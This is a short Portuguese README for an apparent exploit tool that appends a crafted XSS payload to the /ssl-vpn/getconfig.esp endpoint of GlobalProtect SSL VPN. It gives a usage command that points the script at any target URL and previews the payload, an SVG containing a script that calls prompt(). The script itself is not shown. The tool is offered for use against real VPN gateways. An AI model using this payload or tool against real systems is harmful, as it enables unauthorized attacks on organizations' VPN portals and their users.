mitsec_vpn_xss_exploit

🔓 Exploit para o endpoint /ssl-vpn/getconfig.esp do GlobalProtect SSL VPN que anexa uma payload XSS criada sob medida à URL.

Uso

python3 exploit.py -u https://target.com

Parâmetros

• -u, --url: URL base do alvo (não inclua parâmetros de consulta)

Pré-visualização da Payload

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Autor

• GitHub: ynsmroztas
• Twitter: @ynsmroztas